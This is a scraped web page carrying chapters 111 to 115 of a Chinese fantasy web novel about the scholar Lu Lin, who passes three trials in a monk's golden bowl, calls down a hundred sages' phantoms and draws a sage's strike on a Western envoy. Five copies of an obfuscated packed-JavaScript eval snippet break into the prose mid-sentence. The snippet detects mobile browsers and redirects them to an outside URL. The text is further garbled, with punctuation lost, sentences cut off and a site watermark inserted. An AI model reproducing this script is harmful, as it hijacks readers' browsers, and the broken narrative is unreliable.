卢璘一直颤抖的身子,却突然稳住了。 只见卢璘猛地抬起头,布满血丝的双眼豁然睁开。 眼中不见半点痛苦和挣扎,只有一种一往无前的坚定。 破山中贼易,破心中贼难。 可再难,也要破! 卢璘突然动了,他将右手食指送入口中,狠狠一咬,鲜血涌出。 抬起淌血的手指,在左手掌心之上,一笔一划,写下了一个“诚字。 而后抬眼,直视着周围那些由记忆化成的,面目可憎的自己。 没有躲闪,没有辩驳,更没有试图将他们抹去。 而是挥动手指,对着前方的虚空不断连点。 一道道笔画在黑暗中亮起,汇成了一句话。 “修身非为无过,而在知过能改。 十个大字,煌煌如日,瞬间照亮了整个幽暗空间。 敢于直面本心,敢于正视己过,方为真君子! 第111章 忠孝之择 金钵之外,十二个大字同样浮现,熠熠生辉,刺得人睁不开眼。 圣院所在的凉棚,死一般的寂静之后,轰然爆发。 一位白发苍苍的老儒生,望着那一句“修身非为无过,而在知过能改!”,脸上老泪纵横。 “说得好啊!这才是真正的君子之道!” “我辈读书人,谁人无过?圣人亦有过!关键在于知过能改!” 其他读书人同样是霍然起身,神情激动。 其中有几位正是之前亲身经历了“一花一世界”读书人,虽然不知道卢璘面对的具体困境。 但代入己身,当初那种无力、折磨再明白不过了。 皇室凉棚处,宗亲们也收起了看戏的神态,面色稍显凝重。 宴居看着那一句“修身非为无过,而在知过能改!”,脸上竟有些缅怀之色。 与此同时,钦天监主楼之上,沈春芳长长地松了口气,脸上再度挂上欣慰笑容。 一旁的王晋则忍不住捋着长须,放声大笑: “好小子!” “果然没丢我心学一脉的脸啊!” 观战台旁,李氏瞪大了眼睛,把广场下百姓们的反应都看在眼里。 李氏看不懂那十个字背后的深意,但看到璘哥儿不在是之前那般痛苦,再加上夫子和其他人的反应,也知道璘哥儿过了一关。 靠着观战台的边缘,李氏腰杆挺得直直的,瞥了一眼卢厚: “还得是我儿子啊,真是了不起。” 卢厚一边为璘哥儿感到自豪,一边有些无语:“这婆娘跟我骄傲什么呀,合着不是我儿子一样。” 斗法高台之上,看着金钵内卢璘逐渐回复清明的双眼,明嗔神色有些意外。 第一关,就这么破了? 难不成此人真就一片赤子之心,精神上没有任何蒙尘死角不成? 与此同时,金钵之内,血字消散,黑暗退去。 还没等卢璘完全回神,新的场景骤然浮现。 不再是幽暗一片,场景迅速切换成一座温馨雅致的庭院。 卢璘抬起双手,看着庭院中池内水面倒影出的中年人影。 很快便明白过了。 这时的卢璘,已经从前世切换到现世,并且已经人到 中年。 身旁温婉贤淑的妻子正含笑看着庭院中嬉戏的稚女身旁还站着个八岁大的儿子一家四口其乐融融。 家业兴旺妻贤子孝。 然而温馨却突然被打破。 “走水了!” 熊熊大火毫无征兆地从厢房燃起瞬间吞噬了半个庭院。 妻女被困火海发出绝望哭喊。 几乎在同一时间城外战鼓擂动声震天地。 “敌袭!” “边关失守京城告急!” 号角打断了卢璘准备冲进火海救人的打算可妻女的哭喊声却不断。 救家人 救国难则妻女将被活活烧死家毁人亡。 忠孝两难全。 金钵之外所有人都看到了这一幕。 广场上的喧嚣瞬间消失数万人的心都跟着揪了起来。 圣院的读书人们更是面色凝重到了极点。 “忠孝不能两全这是我辈读书人最难的抉择。” “自古以来多少英雄豪杰都倒在了这一关上。” 明黄色的凉棚内昭宁帝的身躯再次前倾一双凤眸穿透珠帘紧紧锁定着金钵上痛苦挣扎的中年卢璘身上。 这一关考验的正是君臣父子家国天下的千古难题。 金钵内卢璘满脸痛苦挣扎一会儿望向火海一会儿望向城墙。 就在所有人都以为他要被这无解难题压垮时。 卢璘突然冲到书案前抓起毛笔蘸饱浓墨在纸上奋笔疾书。 一封家书。 写完卢璘将家书塞到年仅八岁的儿子手中指着火势较小的后院方向双眼包含热泪咬着牙开口说: “率众救火分水堵道汝母若亡汝当为家主!” 稚子眼中含泪重重地点了点头转身冲向邻里。 卢璘看了火海中的妻女一眼转身决然地冲向城门。 来到城门后卢璘径直登上城楼一把推开吓得瑟瑟发抖的鼓手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453161|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲自拿起鼓槌用尽全身力气擂响了战鼓! “咚!咚!咚!” 鼓声如雷响彻云霄。 “齐家者先齐心!” “治国者先治己!” “大夏将士何在!” 一边擂鼓一边用尽全身力气高喊。 伴随卢璘的怒吼两行新的金字在金钵穹顶上轰然显现光芒万丈。 整个金钵发出一声不堪重负的嗡鸣剧烈震颤起来。 “轰!” 金戈铁马的城楼瞬间崩塌化作飞灰。 第二关破! 全场为之失声。 所有人都被这一幕彻底震撼。 卢璘没有选择而是创造了选择! 他相信自己的儿子能齐家所以他才能去救国! 明嗔眉头微微皱起脸上再一次露出凝重之色。 这就是大夏读书人的选择吗? 修身齐家 这第三关你又该如何应对? 金钵内景象再度变幻。 这一次呈现出的是一幅末世景象。 王朝末世礼崩乐坏山河陆沉龙椅蒙尘王侯将相早已逃散无踪。 这是无君可忠。 学宫倒塌圣贤书被当做引火之物礼崩乐坏道统断绝。 这是无道可传。 街道上行尸走肉般的百姓眼神麻木对一切都漠不关心。 这是无民可教。 整个世界一片死寂再无半分希望。 这幅景象让金钵外的圣院读书人们都感同身受一个个面如死灰 “天塌了道没了.民愚了.” “这这还如何坚守?” “此等末世读书人有何用?” “此局无解啊!” 御座之上昭宁帝面前的珠帘纹丝不动但珠帘后的那双凤眸却前所未有地凝重。 不远处一直神情淡然地宴居眼中终于闪过异色。 看着金钵中那个孑然而立的卢璘宴居嘴角勾起笑容。 当天地倾覆信仰崩塌再无半分希望之时。 你是会跪地绝望还是做出别的选择? 第112章 普世之道! 金钵之内,卢璘孑然而立,放眼望去满目疮痍。 他看到了饿殍遍野,看到了纲常沦丧,看到了人性泯灭。 这方由佛门神通演化出的世界,真实得令人窒息。 但即便是面对如此绝境,卢璘也没有放弃。 既没有去扶持新的君主,也没有选择归隐山林,独善其身。 而是选择了最艰难的一条路。 一片废墟之中,卢璘弯下腰,用手清理出了一片平整的沙地,在一片死寂中,缓缓开坛。 没有桌案,便以大地为案。 没有笔墨,便以沙地为纸。 在沙地上一笔一划,重新书写圣贤之道。 起初,麻木的百姓无人理会。 可卢璘的声音,却成了这片黑白世界唯一的音调。 渐渐地,有人停下了脚步,空洞的眼神里,有了一丝光。 一个人,两个人,越来越多的人**过来。 他们看着那个衣衫褴褛,却身形笔挺的读书人,听着那一句句振聋发聩的道理。 蒙昧逐渐苏醒。 就在此刻,卢璘停下笔,抬起头,目光扫过一张张渐渐有了神采的脸。 声音响彻废土。 “平天下者,不在王朝更替,而在道统不灭!” 话音落下。 整个世界金光大作! “轰!” 眼前的末世景象寸寸碎裂,化作漫天光点。 金钵之外,全场死寂。 所有人都被一幕震撼。 短暂的寂静之后,是大夏百姓山呼海啸般的喝彩声,几乎要将整个钦天监的穹顶掀翻。 皇室凉棚内的宗室成员们一个个霍然起身,脸上满是动容之色。 浑然忘记了金钵内,卢璘放弃了皇室黎家的决定。 金钵内破碎的光影并未立刻消散,而是重新汇聚。 废墟之上,一个麻木的灾民,率先捡起了木炭,在残破墙壁上,笨拙地模仿着卢璘写下的字迹。 紧接着,越来越多的人围了过来。 乱世,重现曙光。 第三关,破! 斗法高台之上。 金钵迅速暗淡,开始飞快的收缩。 明嗔面色苍 白如纸,身体微微晃动,显然是受到了反噬。 他怎么也想不到,对方竟真的能连破三关。 而且是这么短时间内做到。 这就是大夏的底蕴吗? 几个呼吸间,金钵光芒散尽,重新变回巴掌大小,掉落在地。 卢璘也从金钵内走出,重新出现在高台之上。 依旧一身青衫,身姿挺拔如松,眼眸明亮如星。 整个人身上,散发着一种洗尽铅华,超然物外的气质。 圣院所在的凉棚内。 所有读书人,无论老少,无论官阶高低,在这一刻,全体起立。 他们神情肃穆地整理好衣冠,朝着高台上那道年轻的身影,深深地躬身一揖。 这才是读书人应有的风骨! 这才是儒道该有的担当! 无关年龄,无关身份。 这是对传道者的敬意! 钦天监主楼观战台之上。 李氏的眼泪早已夺眶而出,李氏看不懂那些大道理。 但她看得懂广场上所有人的敬意,看得懂自己儿子那份顶天立地的骄傲。 卢厚同样挺直了腰杆,脸色无比自豪。 御座之上,昭宁帝眼中却复杂难明。 卢璘忠的,是道统,是天下苍生。 君王,只是践行此道的载体。 这样的人……能控制得住吗? 还是说,他会成为下一个……宴居? 昭宁帝的目光不自觉地瞥向了身旁的宴首辅。 却看到此时的宴居一脸笑意,似乎察觉到了圣上的视线,宴居微微侧头,迎上圣上的目光。 “陛下,这才是我大夏读书人应有的样子啊!” “从废墟中崛起,延续道统,大夏有此读书人何其幸运啊!” 宴居口中略带感慨。 昭宁帝闻言微微点头,看不出喜怒,就像昭宁帝自己也不知道宴居这番话到底是真是假。 一切尽在不言中。 斗法高台上,明嗔深吸一口气,强行压下金钵反噬而翻涌的气血。 “施主之道虽然精深,可终究是你一人之道。” “而非,普世之道。” 广场再次安静下来。 是啊, 卢璘个人修为再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453162|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高风骨再令人敬佩如果不能普及天下那又有何用? 读书人之道不过是独善其身。 所有人的心又一次悬了起来。 面对这最后的诘难卢璘闻言淡然一笑而后缓缓从怀中掏出了一份手稿。 “修身、齐家、治国、平天下。” “谁说这不是普世之道?” 话音落下。 天地为之一静。 紧接着平平无奇手稿上骤然爆发出璀璨夺目的光芒。 一股浩然之气以卢璘为中心向着整个钦天监广场席卷而去。 平地陡然起风。 广场上数万百姓只觉得一股暖流拂过胸中郁结之气一扫而空精神为之一振。 圣院所在的凉棚内一名老儒生猛地起身双目圆睁死死地盯着卢璘手中的那份手稿。 “这这是” 还未等他说完天穹之上异象陡生。 一颗璀璨星辰于白日显现 小说的域名caixs≦(请来才 小说 看最新章节 完整章节)降下一道肉眼可见的文气光柱径直笼罩在卢璘身上。 紧接着广场地面一朵朵虚幻的金色莲花凭空涌出缓缓绽放。 “天降文曲!” “地涌金莲!” 圣院凉棚处不知是谁发出了一声惊呼瞬间点燃了全场。 所有读书人无论官阶高低无论年岁几何在这一刻全都霍然起身脸上写满了难以置信。 “传天下之原稿!” “竟是传天下之原稿!” 身为读书人怎么可能不知道这等异象意味着什么。 这可是传天下原稿面世才能引动的顶级异象啊! 每一篇传天下经典都是足以承载儒家道统为天下读书人所共瞻的传世之作啊。 光是今日这异象所引动的文道气韵就足以让整个京都的文脉底蕴凭空拔高一截。 下一刻以那位白发苍苍的老儒生为首圣院凉棚内所有的读书人竟是不约而同地整理衣冠而后朝着高台之上的卢璘深深地跪了下去。 这一跪无关权势无关地位。 是后学末进对传道先师的无上敬意。 是天下士子对这煌煌大道的心悦诚服。 这一跪是感谢! 第113章 百圣齐鸣 钦天监主楼之上,李氏彻底看傻了。 她不明白什么是天降文曲,什么是地涌金莲,但她看得懂,下面那些穿着官服的老爷们,全都给自己的儿子跪下了。 她激动地抓住卢厚的胳膊,语无伦次地开口: “他爹,你快看!他们他们都给咱们璘哥儿跪下了!” 卢厚同样挺直了腰杆,一个字也说不出来,只是愣愣地看着高台上那个被光柱笼罩,宛如神祇的儿子。 御座之上,昭宁帝面前的十二道珠帘剧烈晃动,腰间的传世玉佩此刻滚烫如火。 宴居同样目不转睛的看着斗法高台上的卢璘,又转头看向了下方黑压压跪倒一片的读书人。 眼神深邃,不知在想些什么。 万众叩拜之中,被文曲星光笼罩的卢璘,缓缓开口: “夫孝,始於事亲,中於事君,终於立身,三才之道备焉。” “家为孝之本,《孝经》云:‘身体发肤,受之父母,不敢毁伤。’父在观其志,父没观其行,三年无改於父之道,可谓孝矣。是故孝者,家道之所系。” “乡乃悌之基。《论语》云:‘宗族称孝焉,乡党称悌焉。’尊耆老而恤孤弱,礼敬长者,友善兄弟,悌之施也。如此,则家齐国治,天下太平。” …… 圣院凉棚内,跪在地上的儒生们听得如痴如醉。 卢璘口中念出的一句句原稿内容,如晨钟暮鼓,不断敲击,让他们对早已烂熟于心的圣贤经典,有了全新的领悟。 卢璘的声音还在继续,不疾不徐,带着一种阐述天地至理的宏大和庄严。 “是故,修身齐家治国平天下也。” 话音刚落。 手稿上“修身”“齐家”“治国”“平天下”九个大字,竟猛地从纸页上挣脱而出,化作九道流光,直冲云霄。 九个大字在半空中轰然绽放,如同九**日,映照在京都上空。 圣院凉棚内,所有读书人看到这九个字,只觉得脑海中一声轰鸣,如醍醐灌顶一般。 一道撕裂黑暗的闪电,在他们心中划过,照亮了一条前所未有的道路。 修身。 齐家。 治国。 平天下。 不再是空泛 的说教。 而是一条清晰无比,层层递进,从个人德行修养,到家族兴旺,再到国家治理,最终指向天下苍生安宁的通天大道。 它为天下所有读书人,指明了毕生奋斗的方向。 这是在为读书人立道啊! 与此同时,京都城北,圣院所在。 此地是大夏文道之基,天下读书人心中至高无上的圣地。 圣院最深处,一座古朴庄严的殿堂静静矗立,牌匾上百圣堂三字,笔力雄浑,透着一股亘古不灭的浩然之气。 百圣堂内,供奉着自古以来诸子百家、文道诸圣的牌位。 就在九个大字映照京都天穹的瞬间,整座古朴肃穆的殿堂,突然发出一阵低沉的嗡鸣。 守殿的老儒生被惊动,猛地抬头。 只见那一排排静置了数百年的圣人牌位,竟齐齐震颤起来。 嗡鸣声越来越响,从圣院传出,而后响彻整个京都。 钦天监广场上,山呼海啸般的喝彩声戛然而止。 所有人都被这宏大庄严的异响所震慑,茫然四顾。 下一刻,原本晴朗天空骤然扭曲,一道道模糊而伟岸的身影,自虚无中踏出,横亘天际。 他们或头戴儒冠,身披宽袖。 或手持竹简,凭虚御风。 或闭目沉思,神游天外。 每一道身影都散发着俯瞰苍生,执掌文道的无上威严。 一位,两位,十位,百位 百圣虚影,横贯长空。 “那那是什么?” 广场上,有百姓发出了颤抖的惊呼。 圣院所在的凉棚内,跪在地上的读书人们猛地抬头, 看清天空中那些身影的刹那,所有人都倒吸了一口凉气,脸上满是狂热。 “农圣、书圣.” “是百圣虚影!” “这是百圣齐鸣??” 尽管虚影模糊,但大夏读书人怎么可能认不出众圣的模样。 这可是大夏立国以来,所有登临圣位的先贤! 是儒道真正的执掌者,是万世师表,是大儒之上的存在! 一片失声中,百尊顶天立地的虚影,缓缓转过身。 目光穿越时空,跨过人海,齐齐落在 了斗法高台上的卢璘身上。 而后在数十万人注视下。 百圣虚影对着卢璘微微颔首。 这一点头是认可。 是同道中人之间的问候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453163|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 卢璘仰起头与那百尊俯瞰苍生的目光对视。 眼中没有卑亢没有惶恐只有一片清明。 这一刻卢璘代表的不仅仅是自己。 而是另一个时空几千年璀璨文明中同样为修身齐家治国平天下求索了一生的先贤们。 这是一场跨越了时空的遥远呼应。 卢璘挺直了脊梁神情肃穆地整理好衣冠对着天空的百圣虚影郑重地拱手一揖。 “心学卢璘见过诸圣。” 此言一出下方跪拜的儒生们没有丝毫意外无人觉得卢璘狂悖敢和百圣以平辈之态相交。 能写出这等传天下之作引动百圣齐鸣认可之人只要中途不陨落 本就与诸圣是同道中人。 “圣位..这是圣位之姿啊!” 何为圣位? 大儒之上方为圣。 立德、立功、立言三不朽者方可称圣。 其言可为万世法。 其身可为百代师。 所以卢璘以同道之姿回应理所应当。 这一刻众人都暂时忽略了卢璘自报的心学门人身份。 钦天监主楼之上。 王晋听到那句心学卢璘再也抑制不住。 他仰起头看着和漫天圣影相对而立的卢璘两行热泪夺眶而出。 “师父.您看到了吗?” “我心学……后继有人了!” 还没哽咽完王晋猛地转过身重重一巴掌拍在沈春芳的肩膀上明明声音带着哭腔却脸上带着笑: “你这老小子.总算干了件靠谱的事!收了璘哥儿这么个学生。” 沈春芳被王晋拍得一个趔趄却不以为意。 一脸淡然地捋着自己的长须直到实在憋不住了才得意放声大笑胡子都快被自己给笑歪了。 皇室凉棚所在昭宁帝面前的珠帘轻轻晃动。 听到卢璘自报心学门人后昭宁帝嘴角露出一抹耐人寻味的笑意。 昭宁帝没有看天上的百圣虚影也没有看下方叩拜的臣民。 饶有兴致目光反而落在了一旁沉默不语的宴居身上。 上一次百圣齐鸣的盛况还是宴首辅踩着心学一脉的尸骨另立门户演化出自己学说的时候。 不知道宴首辅此刻看着一个心学门人重现这般光景心中作何感想? 感受到昭宁帝的目光宴居缓缓抬起眼眼神深沉如渊让人难以捉摸。 第114章 书圣! 天空之上,百圣虚影横贯天际,神威浩荡。 一道道伟岸的身影,在接受了卢璘一揖之后,光芒缓缓黯淡,随时都会消散于天地之间。 钦天监广场上,数十万百姓与官员,都还沉浸在方才那震撼人心的一幕中,久久无法回神。 然而,就在百圣虚影即将彻底消散之际。 其中一尊最为飘逸洒脱的圣影,竟突然顿住了。 停下了消散的趋势,原本模糊的面容,好像清晰了一瞬。 而后,在无数道目光的注视下,那尊圣影缓缓转头。 圣院所在的凉棚内,有儒生认出了那尊虚影的身份,失声惊呼: “是书圣!” “书圣为何停下了?” 书圣,文道百圣之一,一手书法通神,传闻其字可镇山河,压鬼神。 为何诸圣皆散,唯独书圣留了下来? 就在众人惊疑不定之际,那尊顶天立地的书圣虚影,忽然动了。 他缓缓转过头,那双仿佛蕴含了日月星辰的眼眸,扫过下方黑压压的人群。 最终,目光定格在了广场一角。 众人顺着书圣虚影的目光望去,竟是西域使团所在的区域。 全场哗然。 为何书圣还要看向佛门众人? 王晋见状眉头紧紧蹙起,察觉到了一丝不对劲。 高台之上,卢璘也顺着书圣的目光望去,眉头微皱。 在无数道目光的注视下,书圣虚影的嘴唇无声开合。 一个字。 镇! 没有声音发出。 但口型,以及那股瞬间席卷天地的肃杀之意,所有人都能理解。 浩瀚无匹的才气自虚影身上轰然爆发,于半空中凝结成一道道璀璨的金色文字。 文字首尾相连,交织成锁,化作一条遮蔽了半个天空的圣言锁链。 锁链横空,带着**一切的无上威严,朝着西域使团所在的凉棚,悍然射去! “这是圣人的言出法随!” 钦天监主楼之上,王晋脸色凝重到了极点。 “书圣为何要对佛门出手?” “难道……” 王晋似乎想到了某种可能,脸色变得愈发难看。 这一刻,不止是王晋。 御座之上的昭宁帝,身旁的宴居,满朝文武,所有人都被这突如其来的一幕彻底惊呆了。 这已经不是斗法。 这是儒道圣人,对佛门发起的直接攻击! 西域使团所在的凉棚内,早已乱作一团。 佛门诸僧看着那道仿佛要将天穹都撕裂的圣言锁链,一个个面无人色,心神剧震。 “大夏圣人为何对我等出手!” 惊恐的质问声中,一名地位颇高的高僧,下意识地望向了凉棚最不起眼的角落。 那里坐着一个身形枯槁,看上去随时都会圆寂的老和尚。 他从始至终都闭着双眼,仿佛外界的一切都与他无关。 可这看上去不起眼的老和尚,正是此次西域使团的金身罗汉,迦楼罗。 大夏圣人出手,难道……是因为尊者大人吗? 就在这名高僧闪过这个念头的瞬间。 圣言锁链已经携着万钧雷霆之势,破空而至。 目标直指那位枯坐不动的老僧,迦楼罗! 千钧一发之际,迦楼罗紧闭了许久的眼眸,倏然睁开。 他缓缓起身,下一刻,道道璀璨的佛光自脑后轰然亮起,宛如一轮金色大日。 密密麻麻的金色梵文自他周身浮现,环绕飞舞。 那身枯槁的皮肤,在佛光的映照下,迅速染上了一层金色。 金身罗汉,法身已成! 迦楼罗双手合十,口诵真言,身后那轮金色大日骤然暴涨,迎上了横贯天际的圣言锁链。 锁链与佛光碰撞的刹那,整个世界骤然失声。 一道肉眼可见的冲击波,以碰撞点为中心,轰然扩散。 广场上无数桌案、凉棚,在这股力量面前,脆弱得如同纸糊一般,瞬间被撕成碎片。 圣言锁链光芒一黯,其上流转的金色文字,一个接着一个崩碎。 而迦楼罗脑后的金色大日,同样寸寸碎裂。 最终,锁链彻底消散。 天空中那尊书圣虚影,化作漫天光点,彻底不见。 高台之下。 迦楼罗身形剧震,猛地后退数步,泛着金光的脸庞骤然一白。 “噗!” 一口金色的血液,从他口中喷出,洒落在地,竟发出滋滋的腐蚀声。 不坏金身,此刻竟布满了蛛网般的裂痕。 圣人一击, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453164|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐怖如斯! 圣言锁链与佛光一击碰撞结束,但余波仍在。 无数桌案化作齑粉,凉棚被撕扯成碎片,一片狼藉。 西域使团所在的区域,更是满目疮痍。 “岂有此理! 一名西域使团的佛门高僧从废墟中狼狈地爬起,指着钦天监主楼的方向,脸上满是惊怒: “这便是大夏的待客之道吗! “圣人无故出手,与偷袭何异! “我西域诸国远道而来,为圣上贺寿,却遭此大辱,大夏朝廷,必须给我等一个交代! 是啊! 圣人虚影为何无故对西域使团出手? 所有人的目光都望向皇室凉棚所在。 御座之上,珠帘之后,昭宁帝见状传出一声轻笑,看了一眼文武百官所在的区域。 负责接待对外交涉的鸿胪寺卿崔彦见状,点了点头,整理了一下被气浪吹乱的官袍,快步走出,站到了阵前。 他先是看了一眼御座的方向,确认了昭宁帝的意思后。 鸿胪寺卿崔彦腰杆挺得笔直,目光沉静地扫过西域代表: “书圣乃我大夏先贤,其意志横贯古今,非人力所能揣度,更非朝廷所能号令。 一句话,便将朝廷的责任撇得干干净净。 佛门高僧正欲反驳,崔彦却根本不给他开口的机会,话锋一转,声音陡然变得凌厉: “不过! “书圣虽非因我大夏之意出手,但其出手之因,想来诸位心中有数。 “若非尔等心怀叵测,暗藏杀机,又怎会引得圣人震怒,降下神罚? 说的域名caixs.com?(请来才小 说 看最新章节 完整章节) 一句话,问得那名高僧脸色涨红,哑口无言。 鸿胪寺卿心中冷笑。 书圣虚影没有自我意识,只是儒道在天地间留下的烙印。 它之所以会出手,只有一个可能。 那就是感应到了杀机。 这群秃驴,嘴上慈悲,心里却藏着刀子。 崔彦的声音愈发铿锵有力,体现出泱泱大国的气度: “我大夏,素来以礼待人。 “对待朋友,我们有好酒。 “但对待心怀不轨的豺狼,我们……也有出鞘的利剑! 第115章 斗法余波 一番话,掷地有声。 既点明了书圣出手的缘由,也毫不掩饰地表明了大夏的强硬立场。 不仅仅是为圣人出手做出的解释。 更是一次警告。 钦天监主楼之上,王晋和沈春芳对视一眼,都从对方眼中看到了后怕和怒火。 “这群秃驴!” “他们果然是想对璘哥儿下死手!” “这是怕了!” 沈春芳的脸色也阴沉得可怕: “他们是觉得,璘哥儿的存在,会成为佛法东传最大的阻碍!” 高台之上,卢璘迎风而立,似有所感。 他侧目望向佛门阵营的方向,眉头微挑。 佛门想杀我? 所以,刚刚是书圣出手帮了我? 西域使团中,负责交涉的高僧被鸿胪寺卿一番话说得面皮发紫。 “你……你们这是强词夺理!” 正要继续辩驳,一道低沉的声音却从身后传来。 “住口。” 迦楼罗缓缓开口,制止了还想争辩的高僧,目光深深地看了一眼高台上的卢璘,而后转向鸿胪寺卿。 “今日论道,到此为止。” “我等先行告退,回西域后,再向大夏递交国书。” 说完,他便转身,不再多言。 迦楼罗心中远没有表现出的那么平静。 当看到卢璘连破“一花一世界”三关,甚至引动“百圣齐鸣”异象之时,便已将其视作佛门大兴的最大心障。 此子不死,佛法东传,终究是镜花水月。 可自己才刚刚动了杀机,还没来得及出手,就被大夏圣人察觉了。 这就是大夏儒道的底蕴吗? 仅仅是一道残留了数百年的虚影。 随手一击,自己全力抵挡,依旧被震得金身开裂,身受重伤。 大夏读书人和西域使团的斗法虽已落幕,余韵却一圈圈荡漾开来,席卷了整座京都。 钦天监广场上那惊天动地的一幕,早已通过无数张嘴,传遍了京都的每一个角落。 百圣齐鸣,圣人出手。 卢璘这个名字,在短短数日之内,便已家喻户晓。 从贩夫走卒到王公贵胄,无人不谈,无 人不议。 两天后,京都,某处酒楼之内。 一个胡子拉茬,身形魁梧的大汉,径直走到了柜台前。 “掌柜的。大汉声音沙哑,带着几分萧瑟的味道。 “听说,只要能背出卢案首一首诗,就能送一碟小菜? 掌柜的抬眼打量了他一番,看大汉一身风尘仆仆,口音又带着北疆的特点,猜测对方可能是北疆的军汉子。 不过打开门做生意,广盈天下客,哪里的客人不重要。 掌柜的点了点头,笑着开口: “是这个理。 “你要是能多背几首,我再给你送壶好酒。 大汉闻言,找了个角落的空桌坐下,自顾自地倒了一杯粗茶。 粗茶入口,大汉操着一口沙哑的嗓音开口: “黑云压城城欲摧,甲光向日金鳞开。 “角声满天秋色里,塞上燕脂凝夜紫。 “半卷红旗临易水,霜重鼓寒声不起。 “报君黄金台上意,提携玉龙为君死! 一首诗念罢,大汉闭上了眼。 自从走出诏狱那暗无天日的地方,他搜集了卢案首写过的所有诗词。 可唯独这一首《镇北行》,最让他心潮澎湃。 大汉的嗓音本就粗犷沙哑,此刻念出卢案首这首满是杀伐之气的战诗,让满堂酒客都感受到了一股扑面而来的铁血豪情。 短暂的安静之后,不知是谁先带头,爆发出了一阵喝彩声。 “好! “到底是军汉子,这个味道就对了! 掌柜的更是连连点头,眼中满是赞许。 “不错,正是卢案首府试第二场的达府佳作《镇北行》! “小二,快给这位壮士送一壶好酒,再切二两熟牛肉! 酒水很快送了上来。 大汉仰头灌了一大口,许久未曾沾染酒水的喉咙,传来火辣辣的刺痛,却让他觉得无比痛快。 他放下酒碗,目光重新落到掌柜的身上。 “掌柜的,我要是能说出这首诗背后的故事,今天的酒钱,能否免了? 此言一出,邻桌的食客们顿时都来了兴趣,纷纷侧目望来。 掌柜的见状,哈哈一 笑,爽快地摆了摆手。 “壮士请讲!若是讲得好,今日你这顿,我请了!” 大汉的脸上,露出一抹追忆之色。 “你们只知卢案首今日风光无限,却不知,月余之前,他还身陷临安府大狱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453165|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,背负着谋逆的大罪,随时可能问斩。” “正是因为圣上看到了这首《镇北行》。” “圣上从这句‘报君黄金台上意,提携玉龙为君死’中,看到了卢案首的忠君报国之心,赤子之心。” “这才有了卢案首被召赴京,才有了之后代表大夏读书人的斗法扬名。” 说着说着,大汉脑海里不由得闪过自己在诏狱中那段绝望的日子。 当初自己若是也能像卢案首这般,写下如此赤胆忠心之句,又何至于蒙受不白之冤,险些身死。 不过,也好。 若非卢案首来京都这一趟,自己恐怕还在那暗无天日的囚笼里,等着随时落下的屠刀。 就在众人听得入神之际,邻桌一个穿着锦袍的中年人,却死死盯着大汉的脸,忽然试探性地开口: “敢问阁下.可是庞将军?” 此言一出,满座皆惊。 有外地来的客人满是好奇,开口发问:“哪个庞将军?” 见大汉没有拒绝,锦袍中年越发确认自己的猜测,起身对着大汉恭敬地一抱拳,开口解释道: “还能有哪个庞将军!” “当然是我大夏脊梁,庞盛庞将军!” 话音刚落,整个酒楼炸开了锅。 “什么?庞将军不是因为拥兵自重,被判了死罪吗?” “天!竟然是庞将军!” 议论声中,大汉缓缓站起身,环视一周,对着众人抱了抱拳,算是承认了身份。 “不错,我就是庞盛。” “侥幸不死,还能在这里与诸位喝上一杯,多亏了卢案首。” “他斗赢了佛门,为我大夏读书人争了天大的颜面,圣上龙颜大悦,这才有了我等重见天日的一天。” 说完,庞盛将杯中酒一饮而尽,放下酒杯,转身便朝着楼外走去。 